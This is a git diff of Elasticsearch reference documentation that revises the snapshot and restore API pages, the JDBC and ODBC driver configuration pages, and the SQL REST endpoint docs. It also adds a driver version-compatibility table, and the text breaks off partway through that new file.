@@ -519,7 +538,8 @@ complete. Omitted if `false`. `found`:: (boolean) Whether the blob was found by this read operation or not. May be `false` if the -read was started before the write completed. +read was started before the write completed, or the write was aborted before +completion. `first_byte_time`:: (string) diff --git a/docs/reference/snapshot-restore/apis/restore-snapshot-api.asciidoc b/docs/reference/snapshot-restore/apis/restore-snapshot-api.asciidoc index af3be7cea1834..817edf60ac3a9 100644 --- a/docs/reference/snapshot-restore/apis/restore-snapshot-api.asciidoc +++ b/docs/reference/snapshot-restore/apis/restore-snapshot-api.asciidoc @@ -72,9 +72,6 @@ POST /_snapshot/my_repository/my_snapshot/_restore Use the restore snapshot API to restore a snapshot of a cluster, including all data streams and indices in the snapshot. If you do not want to restore the entire snapshot, you can select specific data streams or indices to restore. -NOTE: You cannot restore a data stream if a stream with the same name already -exists. - You can run the restore operation on a cluster that contains an elected <> and has data nodes with enough capacity to accommodate the snapshot you are restoring. Existing indices can only be restored if they are @@ -82,7 +79,7 @@ you are restoring. Existing indices can only be restored if they are the snapshot. The restore operation automatically opens restored indices if they were closed and creates new indices if they do not exist in the cluster. -If a data stream is restored, its backing indices are also restored. +If a data stream is restored, its aliases and backing indices are also restored. Alternatively, you can restore individual backing indices without restoring an entire data stream. If you restore individual backing indices, they are not automatically added to any existing data stream. For example, if only the @@ -102,7 +99,17 @@ Name of the repository to restore a snapshot from. (Required, string) Name of the snapshot to restore. -[role="child-attributes"] +[[restore-snapshot-api-query-params]] +==== {api-query-parms-title} + +include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout] + +`wait_for_completion`:: +(Optional, Boolean) If `true`, the request returns a response when the restore +operation completes. If `false`, the request returns a response when the restore +operation initializes. Defaults to `false`. + +[role="child_attributes"] [[restore-snapshot-api-request-body]] ==== {api-request-body-title} @@ -121,8 +128,11 @@ A comma-separated list of index settings that should not be restored from a snap If `true`, index aliases from the original snapshot are restored. Defaults to `true`. + -If `false`, prevents aliases from being restored together with associated +If `false`, prevents index aliases from being restored together with associated indices. ++ +This option doesn't affect data stream aliases. Restoring a data stream +restores its aliases. [[restore-snapshot-api-include-global-state]] `include_global_state`:: @@ -141,9 +151,14 @@ The global state includes: * Ingest pipelines * {ilm-init} lifecycle policies * For snapshots taken after 7.12.0, data stored in system indices, such as Watches and task records, replacing any existing configuration (configurable via `feature_states`) + +If `include_global_state` is `true` then the restore operation merges the +legacy index templates in your cluster with the templates contained in the +snapshot, replacing any existing ones whose name matches one in the snapshot. +It completely removes all persistent settings, non-legacy index templates, +ingest pipelines and {ilm-init} lifecycle policies that exist in your cluster +and replaces them with the corresponding items from the snapshot. -- -+ -IMPORTANT: By default, the entire restore operation will fail if one or more indices included in the snapshot do not have all primary shards available. You can change this behavior by setting <> to `true`. [[restore-snapshot-api-feature-states]] `feature_states`:: @@ -202,14 +217,6 @@ include::{es-ref-dir}/snapshot-restore/restore-snapshot.asciidoc[tag=rename-rest (Optional, string) Defines the rename replacement string. See <> for more information. -`wait_for_completion`:: -(Optional, Boolean) -If `false`, the request returns a response when the restore operation initializes. -Defaults to `false`. -+ -If `true`, the request returns a response when the restore operation -completes. - [[restore-snapshot-api-example]] ==== {api-examples-title} diff --git a/docs/reference/snapshot-restore/apis/snapshot-restore-apis.asciidoc b/docs/reference/snapshot-restore/apis/snapshot-restore-apis.asciidoc index 14a641902d65f..ad8be3790e4f5 100644 --- a/docs/reference/snapshot-restore/apis/snapshot-restore-apis.asciidoc +++ b/docs/reference/snapshot-restore/apis/snapshot-restore-apis.asciidoc @@ -9,7 +9,7 @@ For more information, see <>. [discrete] [[snapshot-restore-repo-apis]] === Snapshot repository management APIs -* <> +* <> * <> * <> * <> @@ -37,4 +37,4 @@ include::get-snapshot-api.asciidoc[] include::get-snapshot-status-api.asciidoc[] include::restore-snapshot-api.asciidoc[] include::delete-snapshot-api.asciidoc[] -include::get-snapshottable-features-api.asciidoc[] + diff --git a/docs/reference/snapshot-restore/apis/verify-repo-api.asciidoc b/docs/reference/snapshot-restore/apis/verify-repo-api.asciidoc index 7df3cfbc55d53..8b784786336ad 100644 --- a/docs/reference/snapshot-restore/apis/verify-repo-api.asciidoc +++ b/docs/reference/snapshot-restore/apis/verify-repo-api.asciidoc @@ -39,13 +39,13 @@ POST /_snapshot/my_repository/_verify [[verify-snapshot-repo-api-desc]] ==== {api-description-title} -By default, <> requests -verify that a snapshot is functional on all master and data nodes in the -cluster. +By default, <> +requests verify that a snapshot is functional on all master and data nodes in +the cluster. -You can skip this verification using the put snapshot repository API's `verify` -parameter. You can then use the verify snapshot repository API to manually -verify the repository. +You can skip this verification using the create or update snapshot repository +API's `verify` parameter. You can then use the verify snapshot repository API to +manually verify the repository. If verification is successful, the verify snapshot repository API returns a list of nodes connected to the snapshot repository. If verification failed, the API diff --git a/docs/reference/snapshot-restore/monitor-snapshot-restore.asciidoc b/docs/reference/snapshot-restore/monitor-snapshot-restore.asciidoc index 2e386c76fd848..54ebdd56bd633 100644 --- a/docs/reference/snapshot-restore/monitor-snapshot-restore.asciidoc +++ b/docs/reference/snapshot-restore/monitor-snapshot-restore.asciidoc @@ -82,7 +82,7 @@ This request fails if some of the snapshots are unavailable. Use the boolean par return all snapshots that are currently available. Getting all snapshots in the repository can be costly on cloud-based repositories, -both from a cost and performance perspective. If the only information required is +both from a cost and performance perspective. If the only information required is the snapshot names or UUIDs in the repository and the data streams and indices in each snapshot, then the optional boolean parameter `verbose` can be set to `false` to execute a more performant and cost-effective retrieval of the snapshots in the repository. diff --git a/docs/reference/snapshot-restore/register-repository.asciidoc b/docs/reference/snapshot-restore/register-repository.asciidoc index 5aa2090e1c8a3..41e8a15459b2c 100644 --- a/docs/reference/snapshot-restore/register-repository.asciidoc +++ b/docs/reference/snapshot-restore/register-repository.asciidoc @@ -1,19 +1,18 @@ [[snapshots-register-repository]] == Register a snapshot repository - ++++ -Register repository +Register a repository ++++ -[[snapshots-register-repository-description]] -// tag::snapshots-register-repository-tag[] + You must register a snapshot repository before you can perform snapshot and -restore operations. Use the <> to register or update a snapshot repository. We recommend creating a new snapshot repository for each -major version. The valid repository settings depend on the repository type. +restore operations. Use the <> to register or update a snapshot repository. We recommend +creating a new snapshot repository for each major version. The valid repository +settings depend on the repository type. If you register the same snapshot repository with multiple clusters, only one cluster should have write access to the repository. All other clusters connected to that repository should set the repository to `readonly` mode. -// end::snapshots-register-repository-tag[] [IMPORTANT] ==== @@ -151,6 +150,12 @@ PUT /_snapshot/my_read_only_url_repository ---- // TEST[skip:no access to url file path] +The following settings are supported: + +`url`:: +(Required) +URL where the snapshots are stored. + The `url` parameter supports the following protocols: * `file` @@ -159,6 +164,15 @@ The `url` parameter supports the following protocols: * `https` * `jar` +`http_max_retries`:: + + Specifies the maximun number of retries that are performed in case of transient failures for `http` and `https` URLs. + The default value is `5`. + +`http_socket_timeout`:: + + Specifies the maximum time to wait for data to be transferred over a connection before timing out. The default value is `50s`. + URLs using the `file` protocol must point to the location of a shared filesystem accessible to all master and data nodes in the cluster. This location must be registered in the `path.repo` setting, similar to a @@ -176,9 +190,6 @@ repositories.url.allowed_urls: ["http://www.example.org/root/*", "https://*.mydo NOTE: URLs using the `ftp`, `http`, `https`, or `jar` protocols do not need to be registered in the `path.repo` setting. -NOTE: Read-only URL repositories do not support -<>. - [discrete] [role="xpack"] [testenv="basic"] diff --git a/docs/reference/snapshot-restore/restore-snapshot.asciidoc b/docs/reference/snapshot-restore/restore-snapshot.asciidoc index f889fe5053f8b..44bf06329db49 100644 --- a/docs/reference/snapshot-restore/restore-snapshot.asciidoc +++ b/docs/reference/snapshot-restore/restore-snapshot.asciidoc @@ -38,14 +38,14 @@ by default as well. [WARNING] ==== Each data stream requires a matching -<>. The stream uses this +<>. The stream uses this template to create new backing indices. When restoring a data stream, ensure a matching template exists for the stream. You can do this using one of the following methods: * Check for existing templates that match the stream. If no matching template - exists, <>. + exists, <>. * Restore a global cluster state that includes a matching template for the stream. @@ -73,8 +73,9 @@ name. If no index template matches the stream, it cannot ==== // end::rename-restored-data-stream-tag[] -Set `include_aliases` to `false` to prevent aliases from being restored together -with associated indices. +To prevent index aliases from being restored together with associated indices, +set `include_aliases` to `false`. This option doesn't affect data stream +aliases. Restoring a data stream restores its aliases. [source,console] ----------------------------------- @@ -93,10 +94,12 @@ POST /_snapshot/my_backup/snapshot_1/_restore <1> By default, `include_global_state` is `false`, meaning the snapshot's cluster state and feature states are not restored. + -If `true`, the snapshot's persistent settings, index templates, ingest -pipelines, and {ilm-init} policies are restored into the current cluster. This -overwrites any existing cluster settings, templates, pipelines and {ilm-init} -policies whose names match those in the snapshot. +If `true` then the restore operation merges the legacy index templates in your +cluster with the templates contained in the snapshot, replacing any existing +ones whose name matches one in the snapshot. It completely removes all +persistent settings, non-legacy index templates, ingest pipelines and +{ilm-init} lifecycle policies that exist in your cluster and replaces them with +the corresponding items from the snapshot. The restore operation must be performed on a functioning cluster. However, an existing index can be only restored if it's <> and @@ -107,9 +110,6 @@ new indices if they didn't exist in the cluster. If a data stream is restored, its backing indices are also restored. The restore operation automatically opens restored backing indices if they were closed. -NOTE: You cannot restore a data stream if a stream with the same name already -exists. - In addition to entire data streams, you can restore only specific backing indices from a snapshot. However, restored backing indices are not automatically added to any existing data streams. For example, if only the @@ -161,7 +161,7 @@ indices. The `index_settings` and `ignore_index_settings` parameters affect restored backing indices only. New backing indices created for a stream use the index settings specified in the stream's matching -<>. +<>. If you change index settings during a restore, we recommend you make similar changes in the stream's matching index template. This ensures new backing diff --git a/docs/reference/snapshot-restore/take-snapshot.asciidoc b/docs/reference/snapshot-restore/take-snapshot.asciidoc index 5723ffde7ec9f..8a14a9ed28c5e 100644 --- a/docs/reference/snapshot-restore/take-snapshot.asciidoc +++ b/docs/reference/snapshot-restore/take-snapshot.asciidoc @@ -4,7 +4,10 @@ A repository can contain multiple snapshots of the same cluster. Snapshots are identified by unique names within the cluster. -Use the <> to register or update a snapshot repository, and then use the <> to create a snapshot in a repository. +Use the <> to +register or update a snapshot repository, and then use the +<> to create a snapshot in a +repository. The following request creates a snapshot with the name `snapshot_1` in the repository `my_backup`: @@ -61,34 +64,63 @@ You can also choose to include only specific backing indices in a snapshot. However, these backups do not include the associated data stream's metadata or its other backing indices. +Snapshots can also include a data stream but exclude specific backing indices. +When you restore the data stream, it will contain only backing indices present +in the snapshot. If the stream's original write index is not in the snapshot, +the most recent backing index from the snapshot becomes the stream's write index. + [discrete] [[create-snapshot-process-details]] === Snapshot process details -The snapshot process is incremental. In the process of making the snapshot, {es} analyses -the list of the data stream and index files that are already stored in the repository and copies only files that were created or -changed since the last snapshot. This process allows multiple snapshots to be preserved in the repository in a compact form. - -The snapshot process is executed in non-blocking fashion. All indexing and searching operations can continue to run against the data stream or index -that is being snapshotted. However, a snapshot represents a point-in-time view -at the moment when snapshot was created, so no records that were added to the data stream or index after the snapshot process was started -will be included in the snapshot. - -The snapshot process starts immediately for the primary shards that have been started and are not relocating at the moment. {es} waits for -relocation or initialization of shards to complete before snapshotting them. - -Besides creating a copy of each data stream and index, the snapshot process can also store global cluster metadata, which includes persistent -cluster settings, templates, and data stored in system indices, such as Watches and task records, regardless of whether those system -indices are named in the `indices` section of the request. The <> can be used to -select a subset of system indices to be included in the snapshot. The transient settings and registered snapshot repositories are not stored -as part of the snapshot. - -While a snapshot of a particular shard is being -created, this shard cannot be moved to another node, which can interfere with rebalancing and allocation -filtering. {es} can only move a shard to another node (according to the current allocation -filtering settings and rebalancing algorithm) after the snapshot process -is finished. -After a snapshot is created, use the <> to retrieve information about a snapshot. See <> to learn more about retrieving snapshot status. +The snapshot process works by taking a byte-for-byte copy of the files that +make up each index or data stream and placing these copies in the repository. +These files are mostly written by Lucene and contain a compact representation +of all the data in each index or data stream in a form that is designed to be +searched efficiently. This means that when you restore an index or data stream +from a snapshot there is no need to rebuild these search-focused data +structures. It also means that you can use <> to directly +search the data in the repository. + +The snapshot process is incremental: {es} compares the files that make up the +index or data stream against the files that already exist in the repository +and only copies files that were created or changed +since the last snapshot. Snapshots are very space-efficient since they reuse +any files copied to the repository by earlier snapshots. + +Snapshotting does not interfere with ongoing indexing or searching operations. +A snapshot captures a view of each shard at some point in time between the +start and end of the snapshotting process. The snapshot may not include +documents added to a data stream or index after the snapshot process starts. + +You can start multiple snapshot operations at the same time. Concurrent snapshot +operations are limited by the `snapshot.max_concurrent_operations` cluster +setting, which defaults to `1000`. This limit applies in total to all ongoing snapshot +creation, cloning, and deletion operations. {es} will reject any operations +that would exceed this limit. + +The snapshot process starts immediately for the primary shards that have been +started and are not relocating at the moment. {es} waits for relocation or +initialization of shards to complete before snapshotting them. + +Besides creating a copy of each data stream and index, the snapshot process can +also store global cluster metadata, which includes persistent cluster settings, +templates, and data stored in system indices, such as Watches and task records, +regardless of whether those system indices are named in the `indices` section +of the request. You can also use the create snapshot +API's <> parameter to +include only a subset of system indices in the snapshot. Snapshots do not +store transient settings or registered snapshot repositories. + +While a snapshot of a particular shard is being created, the shard cannot be +moved to another node, which can interfere with rebalancing and allocation +filtering. {es} can only move the shard to another node (according to the current +allocation filtering settings and rebalancing algorithm) after the snapshot +process is finished. + +You can use the <> to retrieve information +about ongoing and completed snapshots. See +<>. [discrete] [[create-snapshot-options]] @@ -101,7 +133,7 @@ By setting `include_global_state` to `false` it's possible to prevent the cluste the snapshot. IMPORTANT: The global cluster state includes the cluster's index -templates, such as those <>. If your snapshot includes data streams, we recommend storing the global state as part of the snapshot. This lets you later restored any templates required for a data stream. diff --git a/docs/reference/sql/endpoints/jdbc.asciidoc b/docs/reference/sql/endpoints/jdbc.asciidoc index 836ddc5c04911..7b0e74cd4951a 100644 --- a/docs/reference/sql/endpoints/jdbc.asciidoc +++ b/docs/reference/sql/endpoints/jdbc.asciidoc @@ -40,12 +40,18 @@ or from `artifacts.elastic.co/maven` by adding it to the repositories list: ---- +[[jdbc-compatibility]] +[discrete] +=== Version compatibility + +include::version-compat.asciidoc[] + [[jdbc-setup]] [discrete] === Setup -The driver main class is `org.elasticsearch.xpack.sql.jdbc.EsDriver`. -Note the driver implements the JDBC 4.0 +Service Provider+ mechanism meaning it is registered automatically +The driver main class is `org.elasticsearch.xpack.sql.jdbc.EsDriver`. +Note the driver implements the JDBC 4.0 +Service Provider+ mechanism meaning it is registered automatically as long as it is available in the classpath. Once registered, the driver understands the following syntax as an URL: @@ -75,7 +81,7 @@ The driver recognized the following properties: ===== Essential [[jdbc-cfg-timezone]] `timezone` (default JVM timezone):: -Timezone used by the driver _per connection_ indicated by its `ID`. +Timezone used by the driver _per connection_ indicated by its `ID`. *Highly* recommended to set it (to, say, `UTC`) as the JVM timezone can vary, is global for the entire JVM and can't be changed easily when running under a security manager. [[jdbc-cfg-network]] @@ -139,7 +145,7 @@ will be - typically the first in natural ascending order) for fields with multip [discrete] ==== Index -`index.include.frozen` (default `false`):: Whether to include <> in the query execution or not (default). +`index.include.frozen` (default `false`):: Whether to include <> in the query execution or not (default). [discrete] ==== Additional diff --git a/docs/reference/sql/endpoints/odbc/configuration.asciidoc b/docs/reference/sql/endpoints/odbc/configuration.asciidoc index eda7b9ee9b519..9a4e3dac6a0f9 100644 --- a/docs/reference/sql/endpoints/odbc/configuration.asciidoc +++ b/docs/reference/sql/endpoints/odbc/configuration.asciidoc @@ -83,6 +83,7 @@ image:images/sql/odbc/dsn_editor_basic.png[] This new window has three tabs, each responsible for a set of configuration parameters, as follows. [discrete] +[[connection_parameters]] ===== 2.2 Connection parameters This tab allows configuration for the following items: @@ -181,74 +182,155 @@ will be considered by default. Choose _All Files (\*.*)_ from the drop down, if image:images/sql/odbc/dsn_editor_security_cert.png[] [discrete] -===== 2.4 Connection parameters +===== 2.4 Proxy parameters +If connecting to the {es} node needs to go through a proxy, the following parameters need to be configured: + +* Type ++ +What kind of protocol to use when connecting to the proxy host. This also mandates how the {es} node you want to connect to over the proxy needs to be specified under <>: ++ +** HTTP, SOCKS4A, SOCKS5H: either IP address or host name is accepted; the proxy will resolve the DNS name; +** SOCKS4, SOCKS5: {es} node location needs to be provided as an IP address; ++ +* Port ++ +The TCP port the proxy is listening for connections on. +* Username ++ +The user part of the credentials used to authenticate to the proxy. +* Password ++ +The password part of the credentials for the proxy. + + +[[dsn_editor_proxy]] +.Proxy parameters +image:images/sql/odbc/dsn_editor_proxy.png[] + +[discrete] +===== 2.5 Connection parameters The connection configuration can further be tweaked by the following parameters. * Request timeout (s) + -The maximum number of seconds for a request to the server. The value 0 disables the timeout. -This corresponds to the `Timeout` setting in <>. +The maximum time (in seconds) a request to the server can take. This can be +overridden by a larger statement-level timeout setting. The value 0 means no +timeout. + * Max page size (rows) + -The maximum number of rows that Elasticsearch SQL server should send the driver for one page. -This corresponds to the `MaxFetchSize` setting in <>. +The maximum number of rows that {es-sql} server should send the driver for one +page. This corresponds to {es-sql}'s request parameter `fetch_size` (see +<>). The value 0 means server default. + * Max page length (MB) + -The maximum number of megabytes that the driver will accept for one page. -This corresponds to the `MaxBodySizeMB` setting in <>. +The maximum size (in megabytes) that an answer can grow to, before being +rejected as too large by the driver. +This is concerning the HTTP answer body of one page, not the cumulated data +volume that a query might generate. + * Varchar limit + -The maximum character length of the string type columns. -this correspeonds to the `VarcharLimit` setting in <>. +The maximum width of the string columns. +If this setting is greater than zero, the driver will advertise all the string +type columns as having a maximum character length equal to this value and will +truncate any longer string to it. The string types are textual fields +(TEXT, KEYWORD etc.) and some specialized fields (IP, the GEOs etc.). Note that +no interpretation of the value is performed before truncation, which can lead +to invalid values if the limit is set too low. +This is required for those applications that do not support column lengths as +large as {es} fields can be. + * Floats format + -How should the floating point numbers be printed, when these are converted to string by the driver. -This corresponds to the `ScientificFloats` setting in <>. +Controls how the floating point numbers will be printed, when these are +converted to string by the driver. Possible values given to this parameter: ++ +** `scientific`: the exponential notation (ex.: 1.23E01); + +** `default`: the default notation (ex.: 12.3); + +** `auto`: the driver will choose one of the above depending on the value to be +printed. +Note that the number of decimals is dependent on the precision (or ODBC scale) +of the value being printed and varies with the different floating point types +supported by {es-sql}. +This setting is not effective when the application fetches from the driver the +values as numbers and then does the conversion subsequently itself. + * Data encoding + -How should the data between the server and the driver be encoded as. -This corresponds to the `Packing` setting in <>. +This value controls which data format to encode the REST content in. Possible +values are: ++ +** `CBOR`: use the Concise Binary Object Representation format. This is the +preferred encoding, given its more compact format. + +** `JSON`: use the JavaScript Object Notation format. This format is more +verbose, but easier to read, especially useful if troubleshooting. + * Data compression + -Should the data between the server and the driver be compressed? -This corresponds to the `Compression` setting in <>. +This setting controls if and when the REST content - encoded in one of the above +formats - is going to be compressed. The possible values are: + +** `on`: enables the compression; + +** `off`: disables the compression; + +** `auto`: enables the compression, except for the case when the data flows +through a secure connection; since in this case the encryption layer employs +its own data compression and there can be security implications when an +additional compression is enabled, the setting should be kept to this value. + * Follow HTTP redirects + Should the driver follow HTTP redirects of the requests to the server? -This corresponds to the `Follow` setting in <>. + * Use local timezone + -Should the driver use machine's local timezone? The default is UTC. -This corresponds to the `ApplyTZ` setting in <>. +This setting controlls the timezone of: ++ +** the context in which the query will execute (especially relevant for functions dealing with timestamp components); + +** the timestamps received from / sent to the server. ++ +If disabled, the UTC timezone will apply; otherwise, the local machine's set +timezone. + * Auto-escape PVAs + -Should the driver auto-escape the pattern-value arguments? -This corresponds to the `AutoEscapePVA` setting in <>. +The pattern-value arguments make use of `_` and `%` as special characters to +build patern matching values. Some applications however use these chars as +regular ones, which can lead to {es-sql} returning more data than the app +intended. With the auto escaping, the driver will inspect the arguments and +will escape these special characters if not already done by the application. + * Multi value field lenient + -Should the server return one value out of a multi-value field (instead of rejecting the request)? -This corresponds to the `MultiFieldLenient` setting in <>. +This setting controls the behavior of the server in case a +multi-value field is queried. In case this is set and the server encounters +such a field, it will pick a value in the set - without any guarantees of what +that will be, but typically the first in natural ascending order - and return +it as the value for the column. If not set, the server will return an error. +This corresponds to {es-sql}'s request parameter `field_multi_value_leniency` +(see <>). + * Include frozen indices + -Should the server consider the frozen indices when servicing a request? -This corresponds to the `IndexIncludeFrozen` setting in <>. +If this parameter is `true`, the server will include the frozen indices in the +query execution. +This corresponds to {es-sql}'s request parameter `index_include_frozen` + * Early query execution + -Should the driver execute a non-parameterized query as soon as it's submitted -for preparation? -This corresponds to the `EarlyExecution` setting in <>. +If this configuration is set, the driver will execute a statement as soon as the +application submits it for preparation - i.e. early - and is functionally +equivalent to a direct execution. This will only happen if the query lacks +parameters. Early execution is useful with those applications that inspect the +result before actually executing the query. {es-sql} lacks a preparation API, +so early execution is required for interoperability with these applications. [[dsn_editor_misc]] @@ -256,7 +338,7 @@ This corresponds to the `EarlyExecution` setting in <>. image:images/sql/odbc/dsn_editor_misc.png[] [discrete] -===== 2.5 Logging parameters +===== 2.6 Logging parameters For troubleshooting purposes, the {odbc} offers functionality to log the API calls that an application makes; this is enabled in the Administrator application: [[administrator_tracing]] @@ -291,7 +373,7 @@ instructed so and preferably only when fetching low volumes of data. [discrete] [[connection_testing]] -===== 2.5 Testing the connection +===== 2.7 Testing the connection Once the _Hostname_, the _Port_ (if different from implicit default) and the SSL options are configured, you can test if the provided parameters are correct by pressing the _Test Connection_ button. This will instruct the driver to connect to the {es} instance and perform a simple SQL test query. (This will thus require a running {es} instance with the SQL plugin enabled.) @@ -350,136 +432,3 @@ Both ways of configuring the logging can coexist and both can use the same destination logging directory. However, one logging message will only be logged once, the connection logging taking precedence over the environment variable logging. - -[[odbc-cfg-dsnparams]] -[discrete] -==== Connection string parameters - -The following is a list of additional parameters that can be configured for a -particular connection, in case the default behavior of the driver is not -suitable. For earlier versions of the driver, this needs to be done within the -client application, in a manner particular to that application, generally in a -free text input box (sometimes named "Connection string", "String extras", or -similar). The format of the string is `Attribute1=Value1`. Multiple attributes -can be specified, separated by a semicolon -`Attribute1=Value1;Attribute2=Value2;`. The attribute names are given below. - -`Timeout` (default: `0`):: -The maximum time (in seconds) a request to the server can take. This can be -overridden by a larger statement-level timeout setting. The value 0 means no -timeout. - - -`Follow` (default: `yes`):: -A boolean value (`yes`|`no` / `true`|`false` / `0`|`1`) controlling if the -driver will follow HTTP redirects. - - -`Packing` (default: `CBOR`):: -This value controls which data format to encode the REST content in. Possible -values are: - -* `CBOR`: use the Concise Binary Object Representation format. This is the -preferred encoding, given its more compact format. - -* `JSON`: use the JavaScript Object Notation format. This format is more -verbose, but easier to read, useful in debugging cases. - - -`Compression` (default: `auto`):: -This value controls if and when the REST content - encoded in one of the above -formats - is going to be compressed. The possible values are: - -* `on`: enables the compression; - -* `off`: disables the compression; - -* `auto`: enables the compression, except for the case when the data flows -through a secure connection; since in this case the encryption layer employs -its own data compression and there can be security implications when an -additional compression is enabled, the setting should be kept to this value. - - -`MaxFetchSize` (default: `0`):: -The maximum number of rows that {es-sql} server should send the driver for one -page. This corresponds to {es-sql}'s request parameter `fetch_size` (see -<>). The value 0 means server default. - - -`MaxBodySizeMB` (default: `100`):: -The maximum size (in megabytes) that an answer can grow to, before being -rejected as too large by the driver. -This is concerning the HTTP answer body of one page, not the cumulated data -volume that a query might generate. - - -`VarcharLimit` (default: `0`):: -The maximum width of the string columns. -If this setting is greater than zero, the driver will advertise all the string -type columns as having a maximum character length equal to this value and will -truncate any longer string to it. The string types are textual fields -(TEXT, KEYWORD etc.) and some specialized fields (IP, the GEOs etc.). Note that -no interpretation of the value is performed before trunctation, which can lead -to invalid values if the limit is set too low. -This is required for those applications that do not support column lengths as -large as {es} fields can be. - - -`ApplyTZ` (default: `no`):: -A boolean value controlling the timezone of: - -* the context in which the query will execute (especially relevant for functions dealing with timestamp components); - -* the timestamps received from / sent to the server. -If disabled, the UTC timezone will apply; otherwise, the local machine's set -timezone. - - -`ScientificFloats` (default: `default`):: -Controls how the floating point numbers will be printed, when these are -converted to string by the driver. Possible values given to this parameter: - -* `scientific`: the exponential notation (ex.: 1.23E01); - -* `default`: the default notation (ex.: 12.3); - -* `auto`: the driver will choose one of the above depending on the value to be -printed. -Note that the number of decimals is dependent on the precision (or ODBC scale) -of the value being printed and varies with the different floating point types -supported by {es-sql}. -This setting is not effective when the application fetches from the driver the -values as numbers and then does the conversion subsequently itself. - - -`MultiFieldLenient` (default: `true`):: -This boolean parameter controls the behavior of the server in case a -multi-value field is queried. In case this is set and the server encounters -such a field, it will pick a value in the set - without any guarantees of what -that will be, but typically the first in natural ascending order - and return -it as the value for the column. If not set, the server will return an error. -This corresponds to {es-sql}'s request parameter `field_multi_value_leniency` -(see <>). - - -`AutoEscapePVA` (default: `true`):: -The pattern-value arguments make use of `_` and `%` as special characters to -build patern matching values. Some applications however use these chars as -regular ones, which can lead to {es-sql} returning more data than the app -intended. With the auto escaping, the driver will inspect the arguments and -will escape these special characters if not already done by the application. - - -`IndexIncludeFrozen` (default: `false`):: -If this parameter is `true`, the server will include the frozen indices in the -query execution. -This corresponds to {es-sql}'s request parameter `index_include_frozen` - - -`EarlyExecution` (default: `true`):: -If this parameter is `true`, the driver will execute a statement as soon as the -application submits it for preparation, i.e. early and is functionally -equivalent to a direct execution. This will only happen if the query lacks -parameters. Early execution is useful with those applications that inspect the -result before actually executing the query. {es-sql} lacks a preparation API, -so early execution is required for interoperability with these applications. diff --git a/docs/reference/sql/endpoints/odbc/installation.asciidoc b/docs/reference/sql/endpoints/odbc/installation.asciidoc index 8f264c7f9eed9..131f17886a8f4 100644 --- a/docs/reference/sql/endpoints/odbc/installation.asciidoc +++ b/docs/reference/sql/endpoints/odbc/installation.asciidoc @@ -8,12 +8,12 @@ The {odbc} can be installed on Microsoft Windows using an MSI package. The insta [[prerequisites]] ==== Installation Prerequisites -The recommended installation platform is Windows 10 64 bit _or_ Windows Server 2016 64 bit. +The recommended installation platform is Windows 10 64 bit or Windows Server 2016 64 bit. Before you install the {odbc} you need to meet the following prerequisites; * .NET Framework 4.0 full - https://www.microsoft.com/en-au/download/details.aspx?id=17718 -* Microsoft Visual C++ Redistributable for Visual Studio 2017 - https://support.microsoft.com/en-au/help/2977003/the-latest-supported-visual-c-downloads +* Microsoft Visual C++ Redistributable for Visual Studio 2017 or later - https://support.microsoft.com/en-au/help/2977003/the-latest-supported-visual-c-downloads - The 64 bit driver requires the x64 redistributable - The 32 bit driver requires the x86 or the x64 redistributable (the latter also installs the components needed for the 32 bit driver) * Elevated privileges (administrator) for the User performing the installation. @@ -27,6 +27,11 @@ about running an unrecognized app. If the MSI has been downloaded from Elastic's web site, it is safe to acknowledge the message by allowing the installation to continue (`Run anyway`). +[[odbc-compatibility]] +==== Version compatibility + +include::../version-compat.asciidoc[] + [[download]] ==== Download the `.msi` package(s) diff --git a/docs/reference/sql/endpoints/rest.asciidoc b/docs/reference/sql/endpoints/rest.asciidoc index 0d95b45889211..7ca7e70774b72 100644 --- a/docs/reference/sql/endpoints/rest.asciidoc +++ b/docs/reference/sql/endpoints/rest.asciidoc @@ -9,6 +9,7 @@ * <> * <> * <> +* <> * <> [[sql-rest-overview]] @@ -522,6 +523,44 @@ POST /_sql?format=txt [IMPORTANT] The recommended way of passing values to a query is with question mark placeholders, to avoid any attempts of hacking or SQL injection. +[[sql-runtime-fields]] +=== Use runtime fields + +Use the `runtime_mappings` parameter to extract and create <>, or columns, from existing ones during a search. + +The following search creates a `release_day_of_week` runtime field from +`release_date` and returns it in the response. + +[source,console] +---- +POST _sql?format=txt +{ + "runtime_mappings": { + "release_day_of_week": { + "type": "keyword", + "script": """ + emit(doc['release_date'].value.dayOfWeekEnum.toString()) + """ + } + }, + "query": """ + SELECT * FROM library WHERE page_count > 300 AND author = 'Frank Herbert' + """ +} +---- +// TEST[setup:library] + +The API returns: + +[source,txt] +---- + author | name | page_count | release_date |release_day_of_week +---------------+---------------+---------------+------------------------+------------------- +Frank Herbert |Dune |604 |1965-06-01T00:00:00.000Z|TUESDAY +---- +// TESTRESPONSE[non_json] + [[sql-rest-fields]] === Supported REST parameters @@ -530,7 +569,7 @@ the request time-outs or localization information (such as timezone). The table below lists the supported parameters: -[cols="^m,^m,^5"] +[cols="> in the query execution or not (default). +|Whether to include <> in the query execution or not (default). |params |none |Optional list of parameters to replace question mark (`?`) placeholders inside the query. +|runtime_mappings +|none +|Defines one or more <> in the search +request. These fields take precedence over mapped fields with the same name. + |=== Do note that most parameters (outside the timeout and `columnar` ones) make sense only during the initial query - any follow-up pagination request only requires the `cursor` parameter as explained in the <> chapter. diff --git a/docs/reference/sql/endpoints/version-compat.asciidoc b/docs/reference/sql/endpoints/version-compat.asciidoc new file mode 100644 index 0000000000000..968d92bf83366 --- /dev/null +++ b/docs/reference/sql/endpoints/version-compat.asciidoc @@ -0,0 +1,49 @@ +Your driver must be compatible with your {es} server version. + +IMPORTANT: The driver version cannot be newer than the {es} server version. +For example, A 7.10.0 server is not compatible with {version} drivers. + +[options="header",cols="1,3a,1"] +|==== +| {es} server version +| Compatible driver versions +| Example + +ifeval::[ "{major-version}" != "7.x" ] + +ifeval::[ "{minor-version}" != "8.0" ] +| 8.0.0–{version} +| * The same version + * Any earlier 8.x version + * Any 7.x version after 7.7.0. +| An {version} server is compatible with {version} and earlier 8.x drivers. An +{version} server is also compatible with 7.7.0 and later 7.x drivers. +endif::[] + +ifeval::[ "{minor-version}" == "8.0" ] +| 8.0.0 +| * The same version + * Any 7.x version after 7.7.0. +| An 8.0.0 server is compatible with 8.0.0 drivers. An 8.0.0 server is also +compatible with 7.7.0 and later 7.x drivers. +endif::[] + +// After 8.0 release, replace 7.x with last 7.x version +| 7.7.1-7.x +| * The same version + * An earlier 7.x version, back to 7.7.0. +| A 7.10.0 server is compatible with 7.7.0-7.10.0 drivers. + +endif::[] + +ifeval::[ "{major-version}" == "7.x" ] +| 7.7.1-{version} +| * The same version + * An earlier 7.x version, back to 